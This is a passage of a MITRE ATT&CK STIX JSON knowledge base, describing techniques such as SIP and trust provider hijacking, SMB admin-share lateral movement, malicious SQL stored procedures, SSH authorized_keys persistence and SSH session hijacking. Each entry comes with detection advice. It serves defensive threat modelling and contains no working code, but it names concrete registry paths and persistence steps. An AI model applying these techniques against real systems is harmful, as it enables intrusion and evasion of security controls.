                    "description": "Entrust Datacard. (2017, August 16). How do I enable CAPI 2.0 logging in Windows Vista, Windows 7 and Windows 2008 Server?. Retrieved January 31, 2018.",
                    "source_name": "Entrust Enable CAPI2 Aug 2017"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn311461(v=ws.11)",
                    "description": "Microsoft. (2016, August 31). Registry (Global Object Access Auditing). Retrieved January 31, 2018.",
                    "source_name": "Microsoft Registry Auditing Aug 2016"
                },
                {
                    "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd941614(v=ws.10)",
                    "description": "Microsoft. (2012, July 2). Audit Registry. Retrieved January 31, 2018.",
                    "source_name": "Microsoft Audit Registry July 2012"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SIP and Trust Provider Hijacking",
            "description": "Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,  (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nBecause of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all  (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nSimilar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)\n\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE[\\WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllGetSignedDataMsg\\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP\u2019s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file\u2019s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).\n* Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllVerifyIndirectData\\{SIP_GUID}</code> that point to the DLL providing a SIP\u2019s CryptSIPDllVerifyIndirectData function, which validates a file\u2019s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.\n* Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\\SOFTWARE\\[WOW6432Node\\]Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{trust provider GUID}</code> that point to the DLL providing a trust provider\u2019s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP\u2019s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).\n* **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nHijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "id": "attack-pattern--543fceb5-cb92-40cb-aacf-6913d4db58bc",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-02-09T15:58:04.719Z",
            "created": "2020-02-05T19:34:04.910Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "SYSTEM",
                "Administrator"
            ],
            "x_mitre_defense_bypassed": [
                "Application control",
                "Autoruns Analysis",
                "Digital Certificate Validation",
                "User Mode Signature Validation"
            ],
            "x_mitre_detection": "Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017)\n\nEnable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nUtilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012)\n\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\n* HKLM\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\n* HKLM\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\n\n**Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1218/010). (Citation: SpectorOps Subverting Trust Sept 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \u201cHide Microsoft Entries\u201d and \u201cHide Windows Entries\u201d are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification"
            ],
            "x_mitre_contributors": [
                "Matt Graeber, @mattifestation, SpecterOps"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-02-11T18:25:28.212Z",
            "modified": "2020-03-23T21:16:02.812Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
            "name": "SMB/Windows Admin Shares",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.002",
                    "url": "https://attack.mitre.org/techniques/T1021/002"
                },
                {
                    "external_id": "CAPEC-561",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/561.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "source_name": "Wikipedia Server Message Block"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "source_name": "TechNet RPC"
                },
                {
                    "url": "http://support.microsoft.com/kb/314984",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "source_name": "Microsoft Admin Shares"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "source_name": "Windows Event Forwarding Payne"
                },
                {
                    "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96",
                    "source_name": "Medium Detecting WMI Persistence"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Ensure that proper logging of accounts used to log into systems is turned on and centrally collected. Windows logging is able to collect success/failure for accounts that may be used to move laterally and can be collected using tools such as Windows Event Forwarding. (Citation: Lateral Movement Payne)(Citation: Windows Event Forwarding Payne) Monitor remote login events and associated SMB activity for file transfers and remote process execution. Monitor the actions of remote users who connect to administrative shares. Monitor for use of tools and commands to connect to remote shares, such as [Net](https://attack.mitre.org/software/S0039), on the command-line interface and Discovery techniques that could be used to find remotely accessible systems.(Citation: Medium Detecting WMI Persistence)",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Flow",
                "Logon Session: Logon Session Creation",
                "Network Share: Network Share Access"
            ],
            "x_mitre_system_requirements": [
                "SMB enabled; Host/network firewalls not blocking SMB ports between source and destination; Use of domain account in administrator group on remote system or default system admin account."
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1602.001",
                    "url": "https://attack.mitre.org/techniques/T1602/001"
                },
                {
                    "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
                    "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051",
                    "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020."
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."
                },
                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SNMP (MIB Dump)",
            "description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",
            "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-10-22T01:54:22.812Z",
            "created": "2020-10-19T23:51:05.953Z",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator"
            ],
            "x_mitre_detection": "Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)",
            "x_mitre_platforms": [
                "Network"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1505.001",
                    "url": "https://attack.mitre.org/techniques/T1505/001"
                },
                {
                    "source_name": "NetSPI Startup Stored Procedures",
                    "url": "https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/",
                    "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved July 8, 2019."
                },
                {
                    "source_name": "Kaspersky MSSQL Aug 2019",
                    "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/",
                    "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019."
                },
                {
                    "source_name": "Microsoft xp_cmdshell 2017",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017",
                    "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019."
                },
                {
                    "source_name": "Microsoft CLR Integration 2017",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017",
                    "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019."
                },
                {
                    "source_name": "NetSPI SQL Server CLR",
                    "url": "https://blog.netspi.com/attacking-sql-server-clr-assemblies/",
                    "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved July 8, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SQL Stored Procedures",
            "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
            "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-03-25T23:30:20.638Z",
            "created": "2019-12-12T14:59:58.168Z",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "root"
            ],
            "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",
            "x_mitre_contributors": [
                "Carlos Borges, @huntingneo, CIP",
                "Lucas da Silva Pereira, @vulcanunsec, CIP",
                "Kaspersky"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Linux"
            ]
        },
        {
            "created": "2020-02-11T18:27:15.774Z",
            "modified": "2020-03-23T23:43:46.977Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user.\n\nSSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user\u2019s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user.(Citation: SSH Secure Shell)",
            "name": "SSH",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1021.004",
                    "url": "https://attack.mitre.org/techniques/T1021/004"
                },
                {
                    "external_id": "CAPEC-555",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html"
                },
                {
                    "source_name": "SSH Secure Shell",
                    "url": "https://www.ssh.com/ssh",
                    "description": "SSH.COM. (n.d.). SSH (Secure Shell). Retrieved March 23, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use of SSH may be legitimate depending on the environment and how it\u2019s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Network Traffic: Network Connection Creation",
                "Logon Session: Logon Session Creation"
            ],
            "x_mitre_system_requirements": [
                "An SSH server is configured and running."
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1098.004",
                    "url": "https://attack.mitre.org/techniques/T1098/004"
                },
                {
                    "source_name": "SSH Authorized Keys",
                    "url": "https://www.ssh.com/ssh/authorized_keys/",
                    "description": "ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020."
                },
                {
                    "source_name": "Venafi SSH Key Abuse",
                    "url": "https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities",
                    "description": "Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020."
                },
                {
                    "source_name": "Cybereason Linux Exim Worm",
                    "url": "https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability",
                    "description": "Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "SSH Authorized Keys",
            "description": "Adversaries may modify the SSH <code>authorized_keys</code> file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The <code>authorized_keys</code> file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <code>&lt;user-home&gt;/.ssh/authorized_keys</code>.(Citation: SSH Authorized Keys) Users may edit the system\u2019s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value \u201cyes\u201d to ensure public key and RSA authentication are enabled. The SSH config file is usually located under <code>/etc/ssh/sshd_config</code>.\n\nAdversaries may modify SSH <code>authorized_keys</code> files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)",
            "id": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "modified": "2020-06-25T16:32:23.367Z",
            "created": "2020-06-24T12:42:35.144Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Use file integrity monitoring to detect changes made to the <code>authorized_keys</code> file for each user on a system. Monitor for suspicious processes modifying the <code>authorized_keys</code> file.\n\nMonitor for changes to and suspicious processes modifiying <code>/etc/ssh/sshd_config</code>.",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Modification"
            ],
            "x_mitre_contributors": [
                "Tony Lambert, Red Canary"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
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        },
        {
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1184",
                    "url": "https://attack.mitre.org/techniques/T1184"
                },
                {
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "source_name": "Slideshare Abusing SSH"
                },
                {
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "source_name": "SSHjack Blackhat"
                },
                {
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "source_name": "Clockwork SSH Agent Hijacking"
                },
                {
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/",
                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
                    "source_name": "Welivesecurity Ebury SSH"
                }
            ],
            "name": "SSH Hijacking",
            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
            "type": "attack-pattern",
            "modified": "2020-02-25T19:00:50.826Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8",
            "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
            "name": "SSH Hijacking",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1563.001",
                    "url": "https://attack.mitre.org/techniques/T1563/001"
                },
                {
                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
                    "source_name": "Slideshare Abusing SSH"
                },
                {
                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
                    "source_name": "SSHjack Blackhat"
                },
                {
                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
                    "source_name": "Clockwork SSH Agent Hijacking"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved February 17, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-23T23:11:24.682Z",
            "created": "2020-02-25T18:34:38.290Z",
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                "macOS"
            ],
            "x_mitre_permissions_required": [
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            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.",
            "x_mitre_system_requirements": [
                "SSH service enabled, trust relationships configured, established connections"
            ],
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Network Traffic: Network Traffic Content",
                "Logon Session: Logon Session Creation",
                "Command: Command Execution",
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            "x_mitre_contributors": [
                "Anastasios Pingios"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1596.005",
                    "url": "https://attack.mitre.org/techniques/T1596/005"
                },
                {
                    "source_name": "Shodan",
                    "url": "https://shodan.io",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Scan Databases",
            "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
            "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
